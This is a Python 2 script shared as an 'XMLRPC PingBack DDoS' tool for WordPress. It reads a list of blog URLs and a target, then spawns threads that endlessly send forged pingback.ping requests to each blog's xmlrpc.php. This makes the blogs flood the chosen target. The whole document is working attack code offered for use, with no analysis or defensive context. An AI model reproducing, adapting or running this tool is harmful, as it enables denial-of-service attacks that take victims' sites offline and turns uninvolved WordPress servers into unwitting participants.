Share XMLRPC DDoS WORDPRESS

#!/usr/bin/python
import sys
import socket
import threading
import time
import os
Lock = threading.Lock()
def main():
  try:
   in_file = open("list.txt","r")
  except:
   raw_input('You need a list.txt file to work')
   sys.exit(0)
  os.system("title ...:: XMLRPC PingBack DDoS ::... ")
  print '-------------------------------------------------------------------------\n'
  print '\tXML-RPC PingBack API Remote DDoS'
  print '\tDate : 20/04/2014'
  print '\tTested on Windows 7 / Windows Server 2012 / FreeBSD 9.2'
  print '\tPython version coded by : Sikh887 \n'
  print '--------------------------------------------------------------------------\n\n '
  num_thread = input("Number of thread: ")
  url = raw_input("Target: ")
  for i in range(num_thread):
   try:
    in_line = in_file.readline()
    Thread1(url, i+1, in_line).start()
    in_line = in_line[:-1]
   except:
    pass
  time.sleep(3)


class Thread1(threading.Thread):
 def __init__(self, url, number, blog):
  self.url = url
  self.number = number
  self.blog = blog
  threading.Thread.__init__(self)
 
 def run(self):
  Lock.acquire()
  print 'Starting thread #%s'%self.number
  Lock.release()
  function_pingback = "<?xml version='1.0' encoding='iso-8859-1'?><methodcall><methodname>pingback.ping</methodName><params><param><value><string>%s</string></value></param>
<param><value><string>%s</string></value></param>
</params></methodCall>"%(self.url, self.blog)
  request_lenght = len(function_pingback)
  try:
   self.blog_cleaned = self.blog.split("?p=")[0]
   self.blog_cleaned1 = self.blog_cleaned.split("http://")[1].split("/")[0]
  except:
   sys.exit(0)
  request = "POST %s/xmlrpc.php HTTP/1.0\r\nHost: %s\r\nUser-Agent: Internal Wordpress RPC connection\r\nContent-Type: text/xml\r\nContent-Length: %s\r\n\n<?xml version=\"1.0\" encoding=\"iso-8859-1\"?><methodcall><methodname>pingback.ping</methodName><params><param><value><string>%s</string></value></param>
<param><value><string>%s</string></value></param>
</params></methodCall>\r\n\r\n"%(self.blog_cleaned, self.blog_cleaned1, request_lenght, self.url, self.blog)
  while True:
    time.sleep(3)
    try:
     s = socket.socket(socket.AF_INET, socket.SOCK_STREAM, socket.SOL_TCP)
     s.connect((self.blog_cleaned1, 80))
     s.send(request)
     print"Thread %s | Blog %s"%(self.number, self.blog_cleaned1)
    except:
     ok = 0
main()